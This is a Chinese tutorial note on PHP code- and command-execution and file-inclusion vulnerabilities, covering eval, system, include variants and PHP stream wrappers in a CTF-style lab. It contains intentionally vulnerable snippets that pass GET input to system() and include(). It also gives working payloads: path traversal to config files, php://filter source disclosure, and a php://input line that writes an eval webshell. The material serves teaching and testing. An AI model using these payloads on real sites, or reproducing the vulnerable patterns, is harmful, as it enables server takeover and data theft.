三十:RCE代碼及命令執行漏洞全解

摘要:在WEB應用中有時候程序員爲了考慮靈活性,簡明性,會在代碼調用或者命令執行函數去處理。好比當應用在調用一些能將字符串轉換爲代碼的函數時,沒有考慮用戶是都能控制這個字符串,將形成代碼執行漏洞。一樣調用系統命令處理,將形成命令執行漏洞
php

函數eval:

eval() 函數把字符串按照 PHP 代碼來計算。
該字符串必須是合法的 PHP 代碼,且必須以分號結尾。
若是沒有在代碼字符串中調用 return 語句,則返回 NULL。若是代碼中存在解析錯誤,則 eval() 函數返回 false。

函數system:

system — 執行外部程序,而且顯示輸出
$code=$_GET['x'];
echo system($code)         //x=ipconfig   x=ver

漏洞造成條件:

可控變量,以及漏洞函數  無拓展功能,通常沒有此類函數

文件包含漏洞:

本地文件包含和遠程文件包含漏洞,本身的服務器容許別人的php代碼,實現遠程文件包含

index.php
<?php
	$file = $_GET['file'];
	if(isset($file)){
		include("$file");
		//   require();
		//   require_once();
		//   include_once();
	}else{
		echo "file fail";
	}
?>             同文件目錄下存在其餘文件會讀取,目錄下存在index.php,默認訪問index.php,127.0.0.1/include/?file=dudu.php
	../../etc/httpd.conf  本地包含漏洞能夠讀取其餘文件           172.0.0.1/uploads/include.php?file=圖片馬的地址
有文件包含,直接上傳,或者日誌進行上傳。蟻劍連馬時候,連得是目標馬的地址

	○ PHP中形成文件包含的四個函數

一、include(),require()

當使用include()函數包含文件時,只有代碼執行到include()函數時纔將文件包含進來,發生錯誤時只給出一個警告,繼續向下執行。
當使用require()函數包含文件時,只要程序一執行就會當即調用文件,發生錯誤的時候會輸出錯誤信息,而且終止腳本的運行。

2.include_once()和include()功能相同,區別在當重複調用同一文件時。程序只調用一次

require_once()功能和require()相同,區別在於當重複調用同一文件時,程序只調用一次。

當上述的四個函數包含一個新文件時,該文件將做爲PHP代碼執行,php內核並不在乎該被包含的文件是什麼類型,若是被包含的是txt文件,圖片文件,遠程URL,也都將做爲PHP代碼執行

○ 本地文件包含,遠程文件包含的區別
一、本地文件包含LFI(local File Include)
2.遠程文件包含RFI(Remote File Include)須要ini中allow_url_include = on,allow_url_fopen = on

PHP僞協議
事實就是支持的協議和封裝的協議12種
file:// - 訪問本地文件系統
http:// - 訪問http網站
ftp:// - 訪問FTP(s)URLS
php:// - 訪問各個輸入輸出流
zlib:// - 壓縮流
data:// - 數據(RFC 2397)
glob:// -查找匹配的文件路徑模型
ssh2:// - Secure Shell 2
rar:// - RAR
ogg:// - 音頻流
expect:// - 處理交互式的流
		
目標文件  robots.txt	 路徑爲127.0.0.1/www/robots.txt  	 <?php phpinfo();?>
 robots.zip	127.0.0.1/www/robots.zip	robots.txt
1.php	127.0.0.1/www/1.php	<?php echo('Hello world')?>
flag.txt	D:/flag.txt	flag{123test}
		
經常使用協議:
	1.目錄遍歷獲取flag:

2.php://input                              php://filter
	(1) php://input用於執行php代碼

也能夠寫入shell獲取服務器權限
	<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[CMD])?>');?>

(2)php://filter 用於讀取源碼
	?file=php://filter/convert.base64-encode/resource=1.php

3.file://
	用於讀取本地系統文件,在CTF中讀取本地文件

4.data:// 
	能夠寫入後門,獲取權限執行任意命令

5.zip://
	zip://[壓縮文件的絕對路徑]#[壓縮文件的子文件名]

6.phar協議的做用是歸檔,將多個文件分組爲一個文件。能夠處理tar和zip文件

相關文章
相關標籤/搜索